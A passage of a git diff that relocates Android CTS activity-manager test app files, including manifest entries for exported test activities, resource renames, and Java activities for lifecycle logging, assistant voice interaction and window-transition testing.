+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true">
+ <layout android:defaultWidth="25%"
+ android:defaultHeight="35%"
+ android:gravity="bottom|left"
+ android:minWidth="90dp"
+ android:minHeight="80dp"
+ />
+ </activity>
+ <activity android:name=".BottomRightLayoutActivity"
+ android:resizeableActivity="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ android:exported="true">
+ <layout android:defaultWidth="240dp"
+ android:defaultHeight="160dp"
+ android:gravity="bottom|right"
+ android:minWidth="100dp"
+ android:minHeight="80dp"
+ />
+ </activity>
+ <activity android:name=".TurnScreenOnActivity"
+ android:exported="true"
+ />
+ <activity android:name=".TurnScreenOnDismissKeyguardActivity"
+ android:exported="true"
+ />
+ <activity android:name=".SingleTaskActivity"
+ android:exported="true"
+ android:launchMode="singleTask"
+ />
+ <activity android:name=".SingleInstanceActivity"
+ android:exported="true"
+ android:launchMode="singleInstance"
+ />
+ <activity android:name=".TrampolineActivity"
+ android:exported="true"
+ android:theme="@android:style/Theme.NoDisplay"
+ />
+ <activity android:name=".BroadcastReceiverActivity"
+ android:resizeableActivity="true"
+ android:exported="true"
+ />
+ <activity-alias android:enabled="true"
+ android:exported="true"
+ android:name=".EntryPointAliasActivity"
+ android:targetActivity=".TrampolineActivity" >
+ </activity-alias>
+ <activity android:name=".BottomActivity"
+ android:exported="true"
+ android:theme="@style/NoPreview"
+ />
+ <activity android:name=".TopActivity"
+ android:process=".top_process"
+ android:exported="true"
+ android:theme="@style/NoPreview"
+ />
+ <activity android:name=".TranslucentTopActivity"
+ android:process=".top_process"
+ android:exported="true"
+ android:theme="@style/TranslucentTheme"
+ />
+ <!-- An animation test with an explicitly opaque theme, overriding device defaults, as the
+ animation background being tested is not used in translucent activities. -->
+ <activity android:name=".AnimationTestActivity"
+ android:theme="@style/OpaqueTheme"
+ android:exported="true"
+ />
+ <activity android:name=".VirtualDisplayActivity"
+ android:resizeableActivity="true"
+ android:exported="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ />
+ <activity android:name=".ShowWhenLockedActivity"
+ android:exported="true"
+ />
+ <activity android:name=".ShowWhenLockedWithDialogActivity"
+ android:exported="true"
+ />
+ <activity android:name=".ShowWhenLockedDialogActivity"
+ android:exported="true"
+ android:theme="@android:style/Theme.Material.Dialog"
+ />
+ <activity android:name=".ShowWhenLockedTranslucentActivity"
+ android:exported="true"
+ android:theme="@android:style/Theme.Translucent"
+ />
+ <activity android:name=".DismissKeyguardActivity"
+ android:exported="true"
+ />
+ <activity android:name=".DismissKeyguardMethodActivity"
+ android:exported="true"
+ />
+ <activity android:name=".WallpaperActivity"
+ android:exported="true"
+ android:theme="@style/WallpaperTheme"
+ />
+ <activity android:name=".KeyguardLockActivity"
+ android:exported="true"
+ />
+ <activity android:name=".LogConfigurationActivity"
+ android:exported="true"
+ android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+ />
+ <activity android:name=".PortraitOrientationActivity"
+ android:exported="true"
+ android:screenOrientation="portrait"
+ android:documentLaunchMode="always"
+ />
+ <activity android:name=".LandscapeOrientationActivity"
+ android:exported="true"
+ android:screenOrientation="landscape"
+ android:documentLaunchMode="always"
+ />
+ <activity android:name=".MoveTaskToBackActivity"
+ android:exported="true"
+ android:launchMode="singleInstance"
+ />
+ <activity android:name=".NightModeActivity"
+ android:exported="true"
+ android:configChanges="uiMode"
+ />
+ <activity android:name=".FontScaleActivity"
+ android:exported="true"
+ />
+ <activity android:name=".FontScaleNoRelaunchActivity"
+ android:exported="true"
+ android:configChanges="fontScale"
+ />
+ <receiver
+ android:name=".LaunchBroadcastReceiver"
+ android:enabled="true"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.server.am.LAUNCH_BROADCAST_ACTION"/>
+ </intent-filter>
+ </receiver>
+
+ <activity android:name=".AssistantActivity"
+ android:exported="true" />
+ <activity android:name=".TranslucentAssistantActivity"
+ android:exported="true"
+ android:theme="@style/Theme.Transparent" />
+ <activity android:name=".LaunchAssistantActivityFromSession"
+ android:taskAffinity="nobody.but.LaunchAssistantActivityFromSession"
+ android:exported="true" />
+ <activity android:name=".LaunchAssistantActivityIntoAssistantStack"
+ android:taskAffinity="nobody.but.LaunchAssistantActivityIntoAssistantStack"
+ android:exported="true" />
+
+ <service android:name=".AssistantVoiceInteractionService"
+ android:permission="android.permission.BIND_VOICE_INTERACTION"
+ android:exported="true">
+ <meta-data android:name="android.voice_interaction"
+ android:resource="@xml/interaction_service" />
+ <intent-filter>
+ <action android:name="android.service.voice.VoiceInteractionService" />
+ </intent-filter>
+ </service>
+
+ <service android:name=".AssistantVoiceInteractionSessionService"
+ android:permission="android.permission.BIND_VOICE_INTERACTION"
+ android:exported="true" />
+
+ <activity android:name=".SplashscreenActivity"
+ android:taskAffinity="nobody.but.SplashscreenActivity"
+ android:theme="@style/SplashscreenTheme"
+ android:exported="true" />
+
+
+ <activity android:name=".SwipeRefreshActivity"
+ android:exported="true" />
+
+ <activity android:name=".NoHistoryActivity"
+ android:noHistory="true"
+ android:exported="true" />
+
+ <activity android:name=".ShowWhenLockedAttrActivity"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".ShowWhenLockedAttrWithDialogActivity"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnAttrActivity"
+ android:turnScreenOn="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnShowOnLockActivity"
+ android:showWhenLocked="true"
+ android:turnScreenOn="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnAttrRemoveAttrActivity"
+ android:turnScreenOn="true"
+ android:showWhenLocked="true"
+ android:exported="true" />
+
+ <activity android:name=".TurnScreenOnSingleTaskActivity"
+ android:turnScreenOn="true"
+ android:showWhenLocked="true"
+ android:exported="true"
+ android:launchMode="singleTask" />
+
+ <activity android:name=".TurnScreenOnAttrDismissKeyguardActivity"
+ android:turnScreenOn="true"
+ android:exported="true"/>
+
+ <activity android:name=".TurnScreenOnWithRelayoutActivity"
+ android:exported="true"/>
+
+ <service android:name="com.android.cts.verifier.vr.MockVrListenerService"
+ android:exported="true"
+ android:enabled="true"
+ android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.vr.VrListenerService" />
+ </intent-filter>
+ </service>
+ </application>
+</manifest>
+
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/anim/animation_with_background.xml b/tests/framework/base/activitymanager/app/res/anim/animation_with_background.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/anim/animation_with_background.xml
rename to tests/framework/base/activitymanager/app/res/anim/animation_with_background.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/assistant.xml b/tests/framework/base/activitymanager/app/res/layout/assistant.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/assistant.xml
rename to tests/framework/base/activitymanager/app/res/layout/assistant.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/floating.xml b/tests/framework/base/activitymanager/app/res/layout/floating.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/floating.xml
rename to tests/framework/base/activitymanager/app/res/layout/floating.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/font_scale.xml b/tests/framework/base/activitymanager/app/res/layout/font_scale.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/font_scale.xml
rename to tests/framework/base/activitymanager/app/res/layout/font_scale.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/main.xml b/tests/framework/base/activitymanager/app/res/layout/main.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/main.xml
rename to tests/framework/base/activitymanager/app/res/layout/main.xml
diff --git a/tests/framework/base/activitymanager/app/res/layout/resizeable_activity.xml b/tests/framework/base/activitymanager/app/res/layout/resizeable_activity.xml
new file mode 100644
index 0000000..3c249bf
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/res/layout/resizeable_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2017 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<android.server.am.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+</android.server.am.LifecycleLogView>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml b/tests/framework/base/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
rename to tests/framework/base/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/task_overlay.xml b/tests/framework/base/activitymanager/app/res/layout/task_overlay.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/task_overlay.xml
rename to tests/framework/base/activitymanager/app/res/layout/task_overlay.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/translucent.xml b/tests/framework/base/activitymanager/app/res/layout/translucent.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/translucent.xml
rename to tests/framework/base/activitymanager/app/res/layout/translucent.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/virtual_display_layout.xml b/tests/framework/base/activitymanager/app/res/layout/virtual_display_layout.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/virtual_display_layout.xml
rename to tests/framework/base/activitymanager/app/res/layout/virtual_display_layout.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/colors.xml b/tests/framework/base/activitymanager/app/res/values/colors.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/colors.xml
rename to tests/framework/base/activitymanager/app/res/values/colors.xml
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml b/tests/framework/base/activitymanager/app/res/values/styles.xml
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml
rename to tests/framework/base/activitymanager/app/res/values/styles.xml
diff --git a/tests/framework/base/activitymanager/app/res/xml/interaction_service.xml b/tests/framework/base/activitymanager/app/res/xml/interaction_service.xml
new file mode 100644
index 0000000..f586037
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/res/xml/interaction_service.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
+ android:sessionService="android.server.am.AssistantVoiceInteractionSessionService"
+ android:recognitionService="android.server.am.AssistantVoiceInteractionSessionService"
+ android:supportsAssist="true" />
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
new file mode 100644
index 0000000..28e6576
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AbstractLifecycleLogActivity.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.content.res.Configuration;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Display;
+import android.view.WindowManager;
+
+public abstract class AbstractLifecycleLogActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+ Log.i(getTag(), "onCreate");
+ }
+
+ @Override
+ protected void onStart() {
+ super.onResume();
+ Log.i(getTag(), "onStart");
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ Log.i(getTag(), "onResume");
+ }
+
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ Log.i(getTag(), "onConfigurationChanged");
+ }
+
+ @Override
+ public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
+ super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+ Log.i(getTag(), "onMultiWindowModeChanged");
+ }
+
+ @Override
+ public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
+ Configuration newConfig) {
+ super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
+ Log.i(getTag(), "onPictureInPictureModeChanged");
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ Log.i(getTag(), "onPause");
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ Log.i(getTag(), "onStop");
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ Log.i(getTag(), "onDestroy");
+ }
+
+ @Override
+ protected void onUserLeaveHint() {
+ super.onUserLeaveHint();
+ Log.i(getTag(), "onUserLeaveHint");
+ }
+
+ protected abstract String getTag();
+
+ protected void dumpConfiguration(Configuration config) {
+ Log.i(getTag(), "Configuration: " + config);
+ }
+
+ protected void dumpDisplaySize(Configuration config) {
+ // Dump the display size as seen by this Activity.
+ final WindowManager wm = getSystemService(WindowManager.class);
+ final Display display = wm.getDefaultDisplay();
+ final Point point = new Point();
+ display.getSize(point);
+ final DisplayMetrics metrics = getResources().getDisplayMetrics();
+
+ final String line = "config"
+ + " size=" + buildCoordString(config.screenWidthDp, config.screenHeightDp)
+ + " displaySize=" + buildCoordString(point.x, point.y)
+ + " metricsSize=" + buildCoordString(metrics.widthPixels, metrics.heightPixels)
+ + " smallestScreenWidth=" + config.smallestScreenWidthDp
+ + " densityDpi=" + config.densityDpi
+ + " orientation=" + config.orientation;
+
+ Log.i(getTag(), line);
+ }
+
+ protected static String buildCoordString(int x, int y) {
+ return "(" + x + "," + y + ")";
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AltLaunchingActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AltLaunchingActivity.java
new file mode 100644
index 0000000..3d7aa8a
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AltLaunchingActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+/**
+ * An additional launching activity used for alternating between two activities.
+ */
+public class AltLaunchingActivity extends LaunchingActivity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AlwaysFocusablePipActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AlwaysFocusablePipActivity.java
new file mode 100644
index 0000000..0e74977
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AlwaysFocusablePipActivity.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.graphics.Rect;
+
+public class AlwaysFocusablePipActivity extends Activity {
+
+ static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
+ final Intent intent = new Intent(caller, AlwaysFocusablePipActivity.class);
+
+ intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK);
+ if (newTask) {
+ intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+ }
+
+ final ActivityOptions options = ActivityOptions.makeBasic();
+ options.setLaunchBounds(new Rect(0, 0, 500, 500));
+ options.setLaunchWindowingMode(WINDOWING_MODE_PINNED);
+ caller.startActivity(intent, options.toBundle());
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AnimationTestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AnimationTestActivity.java
new file mode 100644
index 0000000..987ac87
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AnimationTestActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class AnimationTestActivity extends Activity {
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ overridePendingTransition(R.anim.animation_with_background, -1);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantActivity.java
new file mode 100644
index 0000000..0e0e1fe
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class AssistantActivity extends Activity {
+
+ // Launches the given activity in onResume
+ public static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
+ // Finishes this activity in onResume, this happens after EXTRA_LAUNCH_NEW_TASK
+ public static final String EXTRA_FINISH_SELF = "finish_self";
+ // Attempts to enter picture-in-picture in onResume
+ public static final String EXTRA_ENTER_PIP = "enter_pip";
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ // Set the layout
+ setContentView(R.layout.assistant);
+
+ // Launch the new activity if requested
+ if (getIntent().hasExtra(EXTRA_LAUNCH_NEW_TASK)) {
+ Intent i = new Intent();
+ i.setComponent(new ComponentName(this, getPackageName() + "."
+ + getIntent().getStringExtra(EXTRA_LAUNCH_NEW_TASK)));
+ i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ startActivity(i);
+ }
+
+ // Enter pip if requested
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+ try {
+ enterPictureInPictureMode();
+ } catch (IllegalStateException e) {
+ finish();
+ return;
+ }
+ }
+
+ // Finish this activity if requested
+ if (getIntent().hasExtra(EXTRA_FINISH_SELF)) {
+ finish();
+ }
+ }
+
+ /**
+ * Launches a new instance of the AssistantActivity directly into the assistant stack.
+ */
+ static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
+ final Intent intent = new Intent(caller, AssistantActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+ if (extras != null) {
+ intent.putExtras(extras);
+ }
+
+ final ActivityOptions options = ActivityOptions.makeBasic();
+ options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
+ caller.startActivity(intent, options.toBundle());
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
new file mode 100644
index 0000000..b772ce2
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionService.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.service.voice.VoiceInteractionService;
+import android.util.Log;
+
+public class AssistantVoiceInteractionService extends VoiceInteractionService {
+
+ private static final String TAG = AssistantVoiceInteractionService.class.getSimpleName();
+
+ private boolean mReady;
+
+ @Override
+ public void onReady() {
+ super.onReady();
+ mReady = true;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ if (!isActiveService(this, new ComponentName(this, getClass()))) {
+ Log.wtf(TAG, "**** Not starting AssistantVoiceInteractionService because" +
+ " it is not set as the current voice interaction service");
+ stopSelf();
+ return START_NOT_STICKY;
+ }
+ if (mReady) {
+ Bundle extras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
+ showSession(extras, 0);
+ }
+ return START_NOT_STICKY;
+ }
+
+ /**
+ * Starts the assistant voice interaction service, which initiates a new session that starts
+ * the assistant activity.
+ */
+ public static void launchAssistantActivity(Context context, Bundle extras) {
+ Intent i = new Intent(context, AssistantVoiceInteractionService.class);
+ if (extras != null) {
+ i.putExtras(extras);
+ }
+ context.startService(i);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionSessionService.java b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionSessionService.java
new file mode 100644
index 0000000..81ed202
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/AssistantVoiceInteractionSessionService.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.service.voice.VoiceInteractionSession;
+import android.service.voice.VoiceInteractionSessionService;
+
+public class AssistantVoiceInteractionSessionService extends VoiceInteractionSessionService {
+
+ @Override
+ public VoiceInteractionSession onNewSession(Bundle args) {
+ return new VoiceInteractionSession(this) {
+ @Override
+ public void onPrepareShow(Bundle args, int showFlags) {
+ setUiEnabled(false);
+ }
+
+ @Override
+ public void onShow(Bundle args, int showFlags) {
+ Intent i = new Intent(AssistantVoiceInteractionSessionService.this,
+ AssistantActivity.class);
+ if (args != null) {
+ i.putExtras(args);
+ }
+ startAssistantActivity(i);
+ }
+ };
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/BottomActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BottomActivity.java
new file mode 100644
index 0000000..de56159
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BottomActivity.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.content.Context;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager;
+
+public class BottomActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = BottomActivity.class.getSimpleName();
+
+ private int mStopDelay;
+ private View mFloatingWindow;
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
+ if (useWallpaper) {
+ setTheme(R.style.WallpaperTheme);
+ }
+ setContentView(R.layout.main);
+
+ // Delayed stop is for simulating a case where resume happens before
+ // activityStopped() is received by AM, and the transition starts without
+ // going through fully stopped state (see b/30255354).
+ // If enabled, we stall onStop() of BottomActivity, open TopActivity but make
+ // it finish before onStop() ends. This will cause BottomActivity to resume before
+ // it notifies AM of activityStopped(). We also add a second window of
+ // TYPE_BASE_APPLICATION, so that the transition animation could start earlier.
+ // Otherwise the main window has to relayout to visible first and the error won't occur.
+ // Note that if the test fails, we shouldn't try to change the app here to make
+ // it pass. The test app is artificially made to simulate an failure case, but
+ // it's not doing anything wrong.
+ mStopDelay = getIntent().getIntExtra("STOP_DELAY", 0);
+ if (mStopDelay > 0) {
+ LayoutInflater inflater = getLayoutInflater();
+ mFloatingWindow = inflater.inflate(R.layout.floating, null);
+
+ WindowManager.LayoutParams params = new WindowManager.LayoutParams();
+ params.height = WindowManager.LayoutParams.WRAP_CONTENT;
+ params.width = WindowManager.LayoutParams.WRAP_CONTENT;
+ params.type = WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
+ params.setTitle("Floating");
+ getWindowManager().addView(mFloatingWindow, params);
+ }
+ }
+
+ @Override
+ public void onResume() {
+ Log.d(TAG, "onResume() E");
+ super.onResume();
+
+ if (mStopDelay > 0) {
+ // Refresh floating window
+ Log.d(TAG, "Scheuling invalidate Floating Window in onResume()");
+ mFloatingWindow.invalidate();
+ }
+
+ Log.d(TAG, "onResume() X");
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+
+ if (mStopDelay > 0) {
+ try {
+ Log.d(TAG, "Stalling onStop() by " + mStopDelay + " ms...");
+ Thread.sleep(mStopDelay);
+ } catch(InterruptedException e) {}
+
+ // Refresh floating window
+ Log.d(TAG, "Scheuling invalidate Floating Window in onStop()");
+ mFloatingWindow.invalidate();
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/BottomLeftLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/BottomLeftLayoutActivity.java
new file mode 100644
index 0000000..3c4fcb0
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/BottomLeftLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
